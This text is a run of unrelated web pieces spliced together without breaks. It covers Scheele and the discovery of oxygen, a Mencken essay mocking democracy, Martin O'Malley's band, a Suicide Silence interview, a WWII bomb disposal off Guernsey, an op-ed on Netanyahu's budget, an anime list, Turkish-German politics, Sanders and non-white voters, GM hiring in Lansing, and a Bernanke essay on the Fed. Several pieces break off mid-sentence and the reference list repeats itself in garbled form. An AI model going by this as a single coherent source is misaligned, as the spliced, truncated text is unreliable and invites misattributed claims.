Historians of science generally accept that Scheele was the first to discover oxygen, among a number of prominent scientists—namely, his contemporaries Antoine Lavoisier, Joseph Black, and Joseph Priestley. It was determined that Scheele made the discovery three years prior to Joseph Priestley and at least several before Lavoisier. Priestley relied heavily on Scheele's work, perhaps so much so that he may not have made the discovery of oxygen on his own. Correspondence between Lavoisier and Scheele indicate that Scheele achieved interesting results without the advanced laboratory equipment that Lavoisier employed. Through the studies of Lavoisier, Joseph Priestley, Scheele, and others, chemistry was made a standardized field with consistent procedures.
Legacy
In many ways, Scheele was far ahead of his time. Much of what he did had to be rediscovered because it was not appreciated by his immediate contemporaries. His insight into radiant heat and his discovery of chlorine gas are just two instances where his work was entirely glossed over and had to be rediscovered by others. He discovered oxygen before Priestley and Lavoisier, and this discovery became an essential stepping-stone toward invalidation of the long-held phlogiston theory. He made important forays into organic chemistry, a field that would not open up until 40 years after his death. Scheele was one of the pioneers of analytical chemistry. All of this was accomplished with a minimum amount of equipment, most of which he designed himself.
Although credit for many of his discoveries goes to others, and his name does not command the same level of recognition as many of his contemporaries, his accomplishments were of great importance to chemistry, and had a major impact on its development.
References
Ihde, Aaron John. 1984. The development of modern chemistry. New York: Dover Publications. 50-53. ISBN 0486642356.
. New York: Dover Publications. 50-53. ISBN 0486642356. Anonymous. 1839. The life and works of Sir Humphrey Davy. The Citizen: a monthly magazine of politics, literature and art. Dublin: J.P. Doyle. 1:98-103.
. Dublin: J.P. Doyle. 1:98-103. Tilden, William A. 1921. Famous Chemists, the Men and Their Work. London: G. Routledge & Sons.
. London: G. Routledge & Sons. Abbot, David. 1983. Biographical Dictionary of Scientists: Chemists. New York: Peter Bedrick Books.
. New York: Peter Bedrick Books. Bell, Madison S. 2005. Lavoisier in the Year One. New York: W.W. Norton & Company, Inc. ISBN 0393051552
. New York: W.W. Norton & Company, Inc. ISBN 0393051552 Cardwell, D.S.L. 1971. From Watt to Clausius: The Rise of Thermodynamics in the Early Industrial Age. Heinemann: London. ISBN 0435541501
. Heinemann: London. ISBN 0435541501 Scheele, Carl Wilhelm and Leonard Dobbin. 1931. The Collected Papers of Carl Wilhelm Scheele. London: G. Bell & Sons ltd.
. London: G. Bell & Sons ltd. Farber, Eduard, ed. 1961. Great Chemists. New York: Interscience Publishers.
Greenberg, Arthur. 2000. A Chemical History Tour: Picturing Chemistry from Alchemy to Modern Molecular Science. Hoboken: John Wiley & Sons, Inc. ISBN 0471354082
. Hoboken: John Wiley & Sons, Inc. ISBN 0471354082 Greenberg, Arthur. 2003. The Art of Chemistry: Myths, Medicines and Materials. Hoboken: John Wiley & Sons, Inc. ISBN 0471071803
. Hoboken: John Wiley & Sons, Inc. ISBN 0471071803 Schofield, Robert E. 2004. The Enlightened Joseph Priestley: A Study of His Life and Work from 1773-1804. Pennsylvania: The Pennsylvania State University Press.
. Pennsylvania: The Pennsylvania State University Press. Shectman 2003. Groundbreaking Scientific Experiments, Inventions, and Discoveries of the 18th Century. Westport, Conn.: Greenwood Press. ISBN 0313320152
. Westport, Conn.: Greenwood Press. ISBN 0313320152 Sootin, Harry 1960. 12 Pioneers of Science. New York: Vanguard Press.Last Words by H. L. Mencken (1926)
All these forms of happiness, of course, are illusory. They don't last. The democrat, leaping into the air to flap his wings and praise God, is for ever coming down with a thump. The seeds of his disaster, as I have shown, lie in his own stupidity: he can never get rid of the naive delusion - so beautifully Christian - that happiness is something to be got by taking it away from the other fellow. But there are seeds, too, in the very nature of things: a promise, after all, is only a promise, even when it is supported by divine revelation, and the chances against its fulfillment may be put into a depressing mathematical formula. Here the irony that lies under all human aspiration shows itself: the quest for happiness, as always, brings only unhappiness in the end. But saying that is merely saying that the true charm of democracy is not for the democrat but for the spectator. That spectator, it seems to me, is favoured with a show of the first cut and calibre. Try to imagine anything more heroically absurd! What grotesque false pretenses! What a parade of obvious imbecilities! What a welter of fraud! But is fraud unamusing? Then I retire forthwith as a psychologist. The fraud of democracy, I contend, is more amusing than any other, more amusing even, and by miles, than the fraud of religion. Go into your praying-chamber and give sober thought to any of the more characteristic democratic inventions: say, Law Enforcement. Or to any of the typical democratic prophets: say, the late Archangel Bryan. If you don't come out paled and palsied by mirth then you will not laugh on the Last Day itself, when Presbyterians step out of the grave like chicks from the egg, and wings blossom from their scapulae, and they leap into interstellar space with roars of joy.
I have spoken hitherto of the possibility that democracy may be a self-limiting disease, like measles. It is, perhaps, something more: it is self-devouring. One cannot observe it objectively without being impressed by its curious distrust of itself—its apparently ineradicable tendency to abandon its whole philosophy at the first sign of strain. I need not point to what happens invariably in democratic states when the national safety is menaced. All the great tribunes of democracy, on such occasions, convert themselves, by a process as simple as taking a deep breath, into despots of an almost fabulous ferocity. Lincoln, Roosevelt and Wilson come instantly to mind: Jackson and Cleveland are in the background, waiting to be recalled. Nor is this process confined to times of alarm and terror: it is going on day in and day out. Democracy always seems bent upon killing the thing it theoretically loves. I have rehearsed some of its operations against liberty, the very cornerstone of its political metaphysic. It not only wars upon the thing itself; it even wars upon mere academic advocacy of it. I offer the spectacle of Americans jailed for reading the Bill of Rights as perhaps the most gaudily humorous ever witnessed in the modern world. Try to imagine monarchy jailing subjects for maintaining the divine right of Kings! Or Christianity damning a believer for arguing that Jesus Christ was the Son of God! This last, perhaps, has been done: anything is possible in that direction. But under democracy the remotest and most fantastic possibility is a common-place of every day. All the axioms resolve themselves into thundering paradoxes, many amounting to downright contradictions in terms. The mob is competent to rule the rest of us—but it must be rigorously policed itself. There is a government, not of men, but of laws - but men are set upon benches to decide finally what the law is and may be. The highest function of the citizen is to serve the state - but the first assumption that meets him, when he essays to discharge it, is an assumption of his disingenuousness and dishonour. Is that assumption commonly sound? Then the farce only grows the more glorious.
I confess, for my part, that it greatly delights me. I enjoy democracy immensely. It is incomparably idiotic, and hence incomparably amusing. Does it exalt dunderheads, cowards, trimmers, frauds, cads? Then the pain of seeing them go up is balanced and obliterated by the joy of seeing them come down. Is it inordinately wasteful, extravagant, dishonest? Then so is every other form of government: all alike are enemies to laborious and virtuous men. Is rascality at the very heart of it? Well, we have borne that rascality since 1776, and continue to survive. In the long run, it may turn out that rascality is necessary to human government, and even to civilization itself - that civilization, at bottom, is nothing but a colossal swindle. I do not know: I report only that when the suckers are running well the spectacle is infinitely exhilarating. But I am, it may be, a somewhat malicious man: my sympathies, when it comes to suckers, tend to be coy. What I can't make out is how any man can believe in democracy who feels for and with them, and is pained when they are debauched and made a show of. How can any man be a democrat who is sincerely a democrat?What is Martin O’Malley, the former Democratic candidate for President going to do since his bid for that high office fell short?
Answer: Well, one thing for sure, go back to one of his first loves: Music.
O’Malley’s American Irish rock folk band, a talented seven-member group, was back in full swing on Sunday evening in Baltimore. He’s the lead singer. His band called, “O’Malley’s March,” played a gig at the Creative Alliance located in Highlandtown.
It had the audience clapping and stamping its feet in rhythm all night long, and also participating with a sing along or two. I particularly enjoyed the band’s rendition of the popular rebel ballad, “The Foggy Dew.” It memorializes the “1916 Rising” in Ireland, which is celebrating its 100th anniversary this year.
Performing at the Creative Alliance has been an annual happening for O’Malley’s March. As soon as its 7 p.m. engagement was announced, it sold out.
As a result a second show was quickly scheduled for 9:30 p.m. to accommodate the many fans of the band. O’Malley, twice Mayor of Baltimore, and twice Governor of Maryland, is a multi-talented guy. It’s clear he’s very proud of his Irish heritage and knows its history too.
You go, Martin O’Malley!Brendan Crabb of Australia's Loud recently conducted an interview with vocalist Hernan "Eddie" Hermida of California deathcore masters SUICIDE SILENCE. A couple of excerpts from the chat follow below.
Loud: Do you feel [the] new [SUICIDE SILENCE] songs [from the self-titled album] can gel with the earlier material within a live environment?
Hermida: "Oh, yeah. I mean, it's still SUICIDE SILENCE, so they definitely meld well together. That's the one thing that people don't understand when they go online and start talking about these songs, and the one reason I'm able to brush off a lot of the distasteful comments, is because they're not actually paying attention. And they're not listening with an open mind. They're just going, 'Oh, this has singing in it, and I hate singing and any kind of weird singing is bad singing, so I hate it.' And those kids are going to have an awakening. They're going to be… They're gonna see that this record is still heavy, it's still crushing, especially when they come out a show live, if they decide to. The songs actually sound a lot heavier live than they do on record, and that's just how SUICIDE SILENCE always has been. There's a certain intensity that we bring whenever we start jamming that is unmatched on anything else we do. It's the live aspect; SUICIDE SILENCE has always been a live band."
Loud: The new album is still heavy as you said, but it's a different type of heaviness — raw, wounded — rather than the more conventional, mosh-friendly brutality you've been renowned for.
Hermida: Yeah, definitely. That's all attributed to [producer] Ross Robinson and the way he records. It's also attributed to the fact when we recorded, a lot of the stuff was made live. It was the closest thing to pretty much a band being in one place and recording a whole record at the same time that you can get. Obviously, we overdubbed vocals. I was doing clean passes of the songs, as were the guitars and bass. You pretty much say, 'You ready to go?' Press record and play, and you play all the way through the song. That was how we recorded the whole record. There was no punching in, there was no editing. There was compilations; you take a couple of different takes and you compile them into one, but other than that, man, this record is about as raw and as live as it gets for a band, which is not typical, and most kids, most people aren't used to hearing that these days. They're used to hearing the over-produced, over-edited, kind of stale, sterile sound that a studio brings these days."
Loud: One review I read of the new record posed the question of whether SUICIDE SILENCE would backpedal and return to the style of previous albums if the new record isn't well received. You seem to have the courage of your convictions, though.
Hermida: "I don't see us backpedaling. I also don't see this record failing. I see that a lot of people are probably going to come around to liking this record once they hear it. We purposely put out two songs that were going to create a buzz. We could have released a couple of the heavier tracks off the record, and been a little bit safer. But we're not here to be safe, man, we're here to test boundaries, and we're here to show people who they really are. When you're a kid who is on the Internet spewing nothing but hatred and creating that world of hatred around you, we want to prove that there is no hatred, that, really, the only thing that exists is love. And when somebody feels passionate about something — be it they don't like it or they do like it — it's really kind of a reflective statement whatever they make. If you like something, it's usually saying something about yourself, that you're open, that your mind is willing to accept anything. If you're closed-minded, there's probably something going on deeper inside of you that doesn't agree with you, and makes you instantaneously not like things. I have a friend who doesn't like anything. It's like, 'Hey. man, let's go have some froyo.' And he'll be like, 'Froyo? Fuck that shit. That's some new age fucking bullshit.' But then you go, 'Oh, it's just ice cream with fucking candy toppings,' and he goes, 'Oh… well, fuck that shit anyway.' And then you bring it back and you start eating it, and you can see how much he really wants to try it, but he's sticking to his guns because something inside of him is telling him 'no.' You know what I mean? There's two types of people on the face of this planet. There's people who say 'yes,' and there's people who say 'no.' And the people who say 'no,' they'll come around. They eventually say 'yes,' because I know I did. When I was younger and I would hate on things, and then realized that I was just being a hater. [Laughs] I realized that some of those records that I hated on the most were my favorite records growing up."
Read the entire interview at Loud.This is exactly what we are trained for, but this was large ordnance and in a difficult location. PO Nick Frost
The lorry took the bomb 1.5km to the coast, along this route 300 homes were evacuated as a precaution in case of detonation.
Once on the beach the bomb was secured to a lifting bag at low tide and at high tide the bomb floated as planned, attached to the bag.
The dive unit towed the bomb one mile east of Guernsey to a sand bar giving ideal depth of water for it to be lowered to the seabed and detonated remotely at the surface at slack water.
PO Nick Frost said: "This is exactly what we are trained for, but this was large ordnance and in a difficult location.
"I’d like to thank all the authorities and my team which helped with this operation
"Also I am very grateful to the many residents that had to be evacuated temporarily – they were patient and understanding which made our job easier.’’
"We don't usually get this size of bomb presenting an explosive danger in the South West.
"Not only was it a live threat, but the greatest challenge was getting it from an isolated position where there was no vehicle access so we had to manhandle everything, including all the equipment needed.
"Then we were forced to use ropes and pulleys and manpower again to get the bomb to the lorry to remove it to where we are more used to disposing of ordnance safely - in the sea.’’
The bomb was dropped in 1944 from Wellington bombers with Canadian aircrew and one of six which missed their target of St Peter's Port - the bombs were designed to stop the Germans using the port.
This sixth bomb was discovered by Guernsey Police ordnance disposal team while training last week - they knew the bomb was there, all bombs and raids are well documented in Channel Islands.
Nick said: "My team did a very good job.
"I knew what was required before we left from Plymouth and took the precaution of bringing along a chief engineer to help us get the job done.
"The bomb was in very good nick considering how old it was and still presented a danger – a testimony to British munitions makers.''Hebrew is a compressed language. Much disdain can be packed in a few syllables. To say of the prime minister, "He's someone who cracks under pressure," takes just two words: hu lahitz.
When a television mic caught the Israeli Finance Ministry's budget chief using those words last week, the budget chief denied he was talking about Benjamin Netanyahu. The denial was hard to take seriously. For one thing, the official resigned the next day in disgust over Netanyahu's handling of a national budget crisis. For another, the description precisely fit the prime minister's behavior.
In the lead-up to Netanyahu's meeting today with Barack Obama, I'm sure the president's staffers have studied the Israeli leader's positions on the Palestinians and on Syria and Iran. Let's hope they also carefully watched how Netanyahu dealt with the first major domestic challenge of his new term in office. It was a characteristic Netanyahu failure of negotiating skills, leaving him deeply politically unpopular just a few weeks after taking office. But the budget affair needs to be read carefully. The pressure under which Netanyahu bent was local, not foreign.
A week and a half ago, Cabinet members received the Finance Ministry's budget proposal. Aimed at holding down the deficit, it was a collection of cutbacks in social programs -- from nationalized health care to unemployment benefits to welfare payments -- in the midst of the global economic crisis. More cuts were aimed at the defense budget.
While drafted by Finance Ministry bureaucrats, the proposal fit Netanyahu's economic views. It couldn't be blamed on the finance minister, Yuval Steinitz, because Steinitz was appointed merely to sit in the minister's chair while Netanyahu set policy. Steinitz has no economic qualifications, other than being one of the prime minister's most loyal supporters.
The political storm was immediate. Knesset members from Netanyahu's Likud Party complained of non-stop phone calls from party members. Defense Minister Ehud Barak, head of the Labor Party, rejected the defense cuts. Netanyahu leaked the message that he had reprimanded budget officials for the proposal. He might as well have been shouting at himself in the mirror.
A week later, the Cabinet passed a rewritten budget proposal and sent it to Parliament. The most controversial cuts were gone, replaced with a 1 percent increase in the value added tax. To make the change even more regressive, the tax will be applied for the first time to fruits and vegetables. The full list of changes is much longer. Much of it was negotiated between Netanyahu and Ofer Eini, head of the powerful Histadrut union federation. Netanyahu feared that Eini could convince the Labor Party to pull out of his governing coalition.
The original economic program had a double meaning: Philosophically, Netanyahu is a committed economic conservative who would like to take apart what's left of Israel's social democracy. Practically, he expected to bargain away some of the measures to keep others. But his opening position was so extreme that he looked arrogant. Surprised by the fury -- in his party, among his coalition partners, and among the public -- he cracked, and gave up nearly all his goals. In the process, he embarrassed an ally, Steinitz, and rewarded his opponents.
He also squandered public credibility. A national poll at the end of last week published in the daily Ha'aretz showed that 55 percent of respondents thought that Netanyahu's performance was the same or worse than his scandal-stained predecessor, Ehud Olmert. Only 31 percent rated him as a better prime minister. To score such low popularity so soon after being elected is a rare achievement.
What can Obama learn from this? On foreign policy, as well as domestic, Netanyahu really is a conservative. Unlike Olmert, he has never shown any sign of regarding permanent rule over the Palestinians as a danger to Israel's future. In his eyes, the dangers are the near enemy of Palestinian terror and the far enemy, Iran. If he does not lecture Obama about these two dangers, count it as a rare moment of restraint on his part.
At the same time, if he is pushed to join a negotiating process, Netanyahu's instinct is to make his price as high as possible. That's true in any negotiation. The difference between negotiating a budget and negotiating with the Palestinians is that he knows he needs to get a budget through parliament. He does not see reaching a deal with the Palestinians as a necessity.
And yes, experience shows that he is someone who cracks under pressure. But the pressure that matters, or at least matters most, is from those who will determine whether he stays in office: his own party, his coalition partners, and indirectly the voters who influence them. Netanyahu has great regard for America, but the Likud delegation in the Knesset is of more visceral concern.
Right now, the Likud delegation is more intransigent than the one Netanyahu led during his previous term as prime minister in the late 1990s. Yet those Knesset members are to the right of their electorate. The same Ha'aretz poll showed that 40 percent of Likud voters would like Netanyahu to agree to a two-state solution, which he has so far rejected. For the public as a whole, the figure was 57 percent.
Obama's goal should be raising those numbers. Just as he needs to reintroduce America to the Muslim world, he needs to reintroduce the possibility of achieving peace to the Israeli public. Israelis need to feel that their prime minister's intransigence is costing them a better future. The arguments that Obama makes in today's meeting in the White House matter less |
kouchi’s always tight script and believably fleshed out characters that are the show’s winning assets. While frequently mature and serious, through out it is paced with well handled comedy and subtle romance that makes it a joy to watch. It’s this skillful balance and it’s compelling plot that make Planetes not only perhaps my favourite anime series of all time, but one of the best examples of science fiction that television of any form has produced.
Serial Experiments Lain (1998)
TV, 13 episodes
Set in ‘present day, present time’ according to the shows opening, psychological thriller Serial Experiments Lain focuses on Lain Iwakura, a teenage girl living in suburban Japan, and her introduction to the Wired, a global communications network similar to the internet. At a time when internet use first blossoming amongst young people and online subcultures were first taking, Lain was the first anime series to truly try and capture the emotional and social attachments that are so easily formed to virtual worlds, and how reality can seemed blurred when you divide your them between them and the actual. But it didn’t end there – Lain went beyond looking at the psychology of internet culture to touch upon themes of philosophy, theology, mental illness, depression and existentialism. Director Ryutaro Nakamura and writer Chiaki J. Konaka set out to create a show that would deliberately be open to different interpretations, and they certainly succeeded, with Lain being the most vigorously analysed and discussed anime since Neon Genesis Evengelion in both academic and fan circles. With so much going on thematically it’s easy to forget the series’ visual impact; the angst-ridden character design would influence not just anime but also Japanese and gothic fashion for years afterwards, and the slightly trippy, surrealistic background art questioned the constant quest for realism in animation at the time. A challenging work at times, but ultimately a rewarding one.
Denno Coil (2007)
TV, 26 Episodes
In many ways Mitsuo Iso’s Denno Coil covers similar thematic ground to Serial Experiements Lain, but from a refreshingly different perspective. Centered around a group of Japanese elementary school children, the show is at first glance apparently aimed at that age group, but with closer inspection that’s about as useful an assessment as dismissing My Neighbour Totoro or Spirited Away as just kids’ films – and the comparison between Denno Coil and some of Ghibli’s better crafted output is a wholly deserved and justifiable one. Set in 2026, it tells the story of young Yūko Okonogi, who moves with her family to the city of Daikoku, the technological centre of an emerging half-virtual world, created after the introduction of internet-connected augmented reality eyeglasses.
It isn’t merely the age of of it’s protagonists that gives Denno Coil it’s fresh perspective compared to Lain however, it’s also the decade between when the two were written – DC’s understanding of how networked technology has become so interwoven with our daily lives means that it often succeeds where Lain tried but failed. One of my strongest beliefs is that good science fiction always makes social commentary on the time in which it was written, and it is here that Denno Coil excels, presenting a world where children are more in touch with technology than their parents, are obsessed with video games and Pokemon style fads, and where peer pressure and owning the latest gadgets can become almost disturbingly important. Truly a classic series, that exudes subtlety and elegance, and not to be missed.
Mononoke (2007)
TV, 12 episodes
In 2006 Toei released their eleven episode series Ayakashi: Samurai Horror Tales, an anthology of three separate stories based on traditional Japanese myths, and written and produced by three separate teams. The show was a moderate success, but it was the third and final story about a mysterious traveling medicine seller that caught the fans imagination, largely due to it’s unique visual style that mimics traditional Ukiyo-e art. A year later Toei span the character of into his series, and the breathtaking Mononoke was born.
Given an obviously larger budget and 13 episodes to work within, director Kenji Nakamura was able to push his vision to the limit. The result was one of the most stylish, visually compelling series to emerge from Japan in decades. His use of traditional colours animated over an exaggerated textured paper effect, and sprinkled with frenetic action and psychedelic sequences all held together by a masterful eye for framing and direction makes every single second of Mononoke a mesmerising joy to behold. But again it’s not just a case of style over substance; Mononoke combines sinister plot lines and minimal, subtle sound effects to create a truly chilling, creepy horror story experience, and an anime series that genuinely feels like no other.
So, what have I missed out? Last Exile? Flag? Patlabor? Think I’ve completely missed the point here, and I should be trying to convert non-anime fans by subjecting them to 12 hours of Lucky Star? Hit the comments below and tell me what a fool I am. Go on, it’ll be therapeutic. For both of us.Turkish people in Germany should withdraw their savings in the country, Istanbul deputy Metin Külünk said on Saturday in a meeting held in Turkey's western city of Tekirdağ after German officials' objection on the detention of pro-PKK Peoples' Democratic Party (HDP) deputies for failing to testify after they were summoned by the prosecutor's office under the scope of terror probes.
Condemning German officials' supportive attitude toward the PKK terror, Külünk said that Germany is acting like an enemy of Turkey.
"What is Germany's aim in supporting the terror group in Turkey?" Külünk said.
"Turkish non-governmental organizations in Germany should seek their rights against the country that insults the Turkish state" he added.
He continued by saying that Germany is making a mistake by supporting the PKK terror group which has so far killed thousands of civilians and security officers.
A Turkish court ordered the arrest of the co-chairs and nine other members of the HDP on Friday for refusing to bear testimony under the scope of ongoing terror probes.
Other deputies, including the chairman of the Nationalist Movement Party (MHP) Devlet Bahçeli testified when they were called by the prosecutor over the summary of proceedings following the lifting of parliamentary immunity.
The HDP has come under fire for its close links to the PKK. Members of the party have so far declined to call the PKK a "terrorist group," attended the PKK militants' funerals, two of whom were the suicide bombers that killed tens of civilians in multiple bombings in Ankara.Democratic presidential candidate Bernie Sanders and his wife, Jane, acknowledge the crowd as he arrives for his caucus night rally in Des Moines on Feb. 2. (Patrick Semansky/Associated Press)
Brace yourself. Tough and complicated truths about race and politics are to follow.
In the early days of Fidel Castro's communist revolution, the new regime enacted a raft of measures aiming to eliminate the effective and economic meaning of race on the island. A history of slavery and massive sugar plantations had given way to a tangled set of pre-revolutionary laws, social practices and stereotypes which left Cuba's black population disproportionately poor. The island's wealthy -- those who lost homes and property and much else in the revolution and fled the country en mass as Castro swept to power -- were almost exclusively white or, at least, very fair-skinned.
Castro believed the island's effective pigmentocracy could be toppled with class-eliminating, inequality busting policy. No longer would certain homes and neighborhoods, jobs and schools, hospitals and hotels serve only Cuba's black population or its white. Within a few years of the revolution, Castro declared the regime's policies a resounding success. Then, he declared discussion of race or racial inequality a "counterrevolutionary crime" that was capable of dividing Cuba. Communism and an infrastructure of socialist, anti-inequality programs -- according to Castro and many others who share his political views today-- could and did render peoples' racial backgrounds devoid of meaning.
That is an assessment of modern Cuba that almost any observer would have to declare untrue. And it is an instructive example when it comes to self-described democratic socialist and presidential candidate Sen. Bernie Sanders (I-Vt.).
Sanders has managed to attract an overwhelmingly white voter base that, by all measures, appears excited and convinced that Sanders's prescription of inequality busting, billionaire -humbling policy will fix all that is wrong with America. The thing is, Sanders's message hasn't quite caught the same kind of fire with non-white Democratic leaning voters -- voters that form a major and definitive share of the party's coalition that will become much more important after the New Hampshire primary.
In short, Sanders's message has done much better with white liberals than with non-white voters.
Bernie Sanders, a Democratic candidate for President of the U.S., attracts a huge crowd a rally at the Brothers Convention Center in Waterloo, Iowa (Photo by Lucian Perkins /for The Washington Post)
Those who "Feel the Bern" invariably insist that those who don't are either dumb, don't understand their own political needs or what and who will truly help them. To some degree, that's normal when people get really passionate about a candidate or a campaign. But given the professed progressive leanings of those in the Sanders camp and what's widely known about the group's near-racial homogeneity, it's a response that seems like a rather large and telling contradiction. It is a response that seems devoid of any recognition that patronizing language, paternalistic "guidance" and recriminations are, at the very least, the active ingredients in modern and sometimes subtle forms of bigotry. Besides that, condescension is not often convincing.
In fact, that whole set of "they will eventually get it" arguments that Sanders supporters and even the Sanders campaign have readily made about voters of color is, truly, part of the Sanders campaign's problem.
Yes, Sanders fans, that reality did not matter much at all in very-white Iowa. And the polls out of even whiter New Hampshire suggest the same. But the rest of America does not look like Iowa or New Hampshire and has not for some time.
[Here’s what Hillary Clinton’s nonwhite firewall looks like]
And the failure to make greater gains with voters of color has left the Sander's campaign far more vulnerable than it often seems that Sanders's mostly white supporters seem to fully recognize. Nationally, much of Clinton's lead over Sanders stems directly from the support of non-white voters. In fact, when it comes to white voters, Clinton's lead is almost non-existent, according to the latest Washington Post-ABC News poll. And slightly older state-level data out of heavily black South Carolina and heavily Hispanic Nevada reflects pretty much the same.
Source: Washington Post-ABC News poll
Now, Sanders and his campaign seem to know this but, not quite believe or or fully appreciate what this means.
Both are evidenced by the recent string of endorsement announcements indicating that Sanders has the political seal of approval from a handful of grieving black families whose relatives were killed by police; the decision to put two well- known and black Democratic Party establishments critics (read that as vociferous Obama critics) on the campaign trail; and the decision to hold but not necessarily fully commit to campaign rallies at historically black colleges and universities. Sanders himself did not show up to at least the first two black college campus events.
[Will endorsements from families whose losses fuel the Black Lives movement matter for Clinton and Sanders?]
What Sanders has really said and done most reliably since his campaign began in April -- even at times that can not be described as fitting or ideal -- is make the case for economic and education policies which he insists will narrow or eliminate economic inequality, thereby taking care of non-white America's "real problems." That, and an organized effort to end the influence of "billionaire class" in elections and lawmaking will do the job, according to Bernie.
And, in truth, there is nothing about most of Sanders's major economic and educational proposals which sit at fundamental odds with the political priorities that we know black and Latino voters hold. Jobs, wages and the economy are very important to voters of color -- or, at least, were when the first survey below was conducted by the Pew Research Center in 2007 the second was released by Pew in 2012 or the third from Gallup, which looked at all groups that same year.
Source: Pew Research Center
January-June 2012 Gallup poll
That dynamic suggests that something about Sanders's problem is his actual campaign -- his methods and preferred language for making his case -- and not the case itself.
Here's a brief review of relevant events.
Sanders declared himself a Democratic candidate for the White House in April. In July, Sanders responded to a mostly black group of Black Lives Matter protesters at the liberal Netroots Nation even with enough frustration that he stopped speaking and left the stage. He took a similar tack with like-minded protesters at other events that followed. And when Sanders could be pinned down with questions about civil rights concerns such as the specter of police mistreatment or death at the hands of a cop, he seemed to respond most often with a great deal of umbrage and barely restrained anger about having been interrupted or put off his usual stump speech about economic inequality.
Sometimes, Sanders responded with mentions of black youth unemployment that were rather needlessly overstated; the simple truth is really quite bad, after all. And most often of all, there was a reminder that he participated in the 1963 March on Washington.
Sanders may not have meant it this way, but the collection of responses seemed to say 'Look, I've done my part and moved on from civil rights matters. I'm trying to tell you people what you need right now.' A less charitable read would be: 'Be quiet and listen.' Those aren't his exact words, of course, but they're really what every Sanders speech, debate performance and public appearance seems to reiterate.
More recently, when Sanders said openly that any reparations for black Americans are politically unfeasible and essentially not something that he or other serious and effective Democrats can embrace, Sanders pretty much said the same. There are many other items on Sanders's policy wish list -- including a massive increase in taxes on the wealthy -- which are also quite likely dead-on-arrival on Capitol Hill. But, that hasn't stopped the self-styled Sanders revolution from including them in the Sander's platform.
[Most of Bernie Sanders’s big ideas are dead-on-arrival in Congress. Do Democrats care?]
It is as if the campaign believes that voters -- particularly voters of color -- are supposed to reorder their priorities to align with Sanders'. They are to simply suspend their own knowledge of their own experiences with the real and continued meaning of race, the persistence of pervasive racial and ethnic stereotypes, and the policy that this combination has spawned.
All of that, quite frankly, is far easier to do when a voter is white.
Sanders fans will no doubt point out that Sanders has a racial justice plan posted on his website. They will say that it speaks to economic inequality but also the ways in which environmental toxins and degradation, disparities in the criminal justice system and voter suppression activities continue to unfairly shape and limit the lives of voters of color. And even those who do not count themselves among Sanders's devoted fans will have to admit that in recent months, it's to the issues of police mistreatment and mass-incarceration that Sanders is most likely to turn if confronted with direct questions about what his administration might do about racial inequality.
That's precisely what Sanders did -- rather awkwardly -- during a CNN town forum Wednesday night.
Now, it is also true that Sanders's approval rating with voters of color climbed from 28 percent in July 2015 to 51 percent this month, according to a Washington Post-ABC News. And on Thursday, Sanders picked up the endorsement of former NAACP head Ben Jealous, CNN reported. Unlike some of Sanders's other prominent black supporters, Jealous's political sophistication, motives and relationship to other black voters cannot be substantially challenged.
But the news really is not all good for the Sanders campaign or any candidate seeking the Democratic Party's presidential nomination. During that same period of time, white voter approval of Sanders climbed from 42 percent to 64 percent. And, while a big gap exists between the share of white voters who told Post-ABC pollsters that they have a favorable view of Sanders versus the share who do not, the same cannot be said about non-white voters and their assessment of Sanders.
White Democrats' favorable ratings of Sanders sit 34 points higher than unfavorable ones -- 64-30 -- but non-whites are much more split -- 51-32.
Again, we anticipate that Sanders's often -- shall we say -- passionate supports will insist that the poll predates Iowa and the moment that it and a probable Sanders victory in New Hampshire will create. But that is an idea in which one can only place full faith if race and everything that comes with it are merely concepts, not personal experiences -- or, in the Castro tradition, experiences that can simply be wiped out of conversation and reality.
And it is an idea that fundamentally ignores or downplays the sheer number of black and Latino, Democratic-leaning voters who make the states where subsequent primaries are set to happen their homes.DETROIT, MI - General Motors is adding a third shift and more than 500 jobs at its Lansing Grand River Assembly plant.
The Detroit automaker said Monday the additional shift, coming online in the second quarter, is needed to meet forecast demand for the 2016 Chevrolet Camaro.
The positions are both hourly and salaried. The company is in the process of hiring now. The Lansing plant will employ about 2,300 workers once the latest round of hiring is complete.
In November 2014, GM temporarily laid off 350 hourly workers at the Lansing plant. The second shift returned when GM shifted production of the new Camaro from an Ontario, Canada site to the Lansing one.
GM also produces the Cadillac ATS and CTS models at Lansing Grand River Assembly.
The sixth-generation, 2016 Chevy Camaro was unveiled last May in Detroit.
The first wave of the new pony cars started rolling off the assembly line in October and were expected to arrive at dealerships and to other customers by mid-November.
David Muller is the automotive and business reporter for MLive Media Group in Detroit. Email him at dmuller@mlive.com, follow him on Twitter or find him on Facebook.For the first time in nearly a decade, the Federal Reserve is considering raising its target interest rate, which would end a long period of near-zero rates. Like the cessation of large-scale asset purchases in October 2014, that action will be an important milestone in the unwinding of extraordinary monetary policies, adopted during my tenure as Fed chairman, to help the economy recover from a historic financial crisis. As such, it’s a good time to evaluate the results of those measures, and to consider where policy makers should go from here.
To begin, it’s essential to be clear on what monetary policy can and cannot achieve. Fed critics sometimes argue that you can’t “print your way to prosperity,” and I agree, at least on one level. The Fed has little or no control over long-term economic fundamentals—the skills of the workforce, the energy and vision of entrepreneurs, and the pace at which new technologies are developed and adapted for commercial use.
What the Fed can do is two things: First, by mitigating recessions, monetary policy can try to ensure that the economy makes full use of its resources, especially the workforce. High unemployment is a tragedy for the jobless, but it is also costly for taxpayers, investors and anyone interested in the health of the economy. Second, by keeping inflation low and stable, the Fed can help the market-based system function better and make it easier for people to plan for the future. Considering the economic risks posed by deflation, as well as the probability that interest rates will approach zero when inflation is very low, the Fed sets an inflation target of 2%, similar to that of most other central banks around the world.
How has monetary policy scored on these two criteria? Reasonable people can disagree on whether the economy is at full employment. The 5.1% headline unemployment rate would suggest that the labor market is close to normal. Other indicators—the relatively low labor-force participation rate, the apparent lack of wage pressures, for example—indicate that there is some distance left to go.
But there is no doubt that the jobs situation is today far healthier than it was a few years ago. That improvement (as measured by the unemployment rate) has been quicker than expected by most economists, both inside and outside the Fed.
On the inflation front, various measures suggest that underlying inflation is around 1.5%. That is somewhat below the 2% target, a situation the Fed needs to remedy. But if there is a problem with inflation, it isn’t the one expected by the Fed’s critics, who repeatedly predicted that the Fed’s policies would lead to high inflation (if not hyperinflation), a collapsing dollar and surging commodity prices. None of that has happened.
It is instructive to compare recent U.S. economic performance with that of Europe, a major industrialized economy of similar size. There are many differences between the U.S. and Europe, but a critical one is that Europe’s economic orthodoxy has until recently largely blocked the use of monetary or fiscal policy to aid recovery. Economic philosophy, not feasibility, is the constraint: Greece might have limited options, but Germany and several other countries don’t. And the European Central Bank has broader monetary powers than the Fed does.
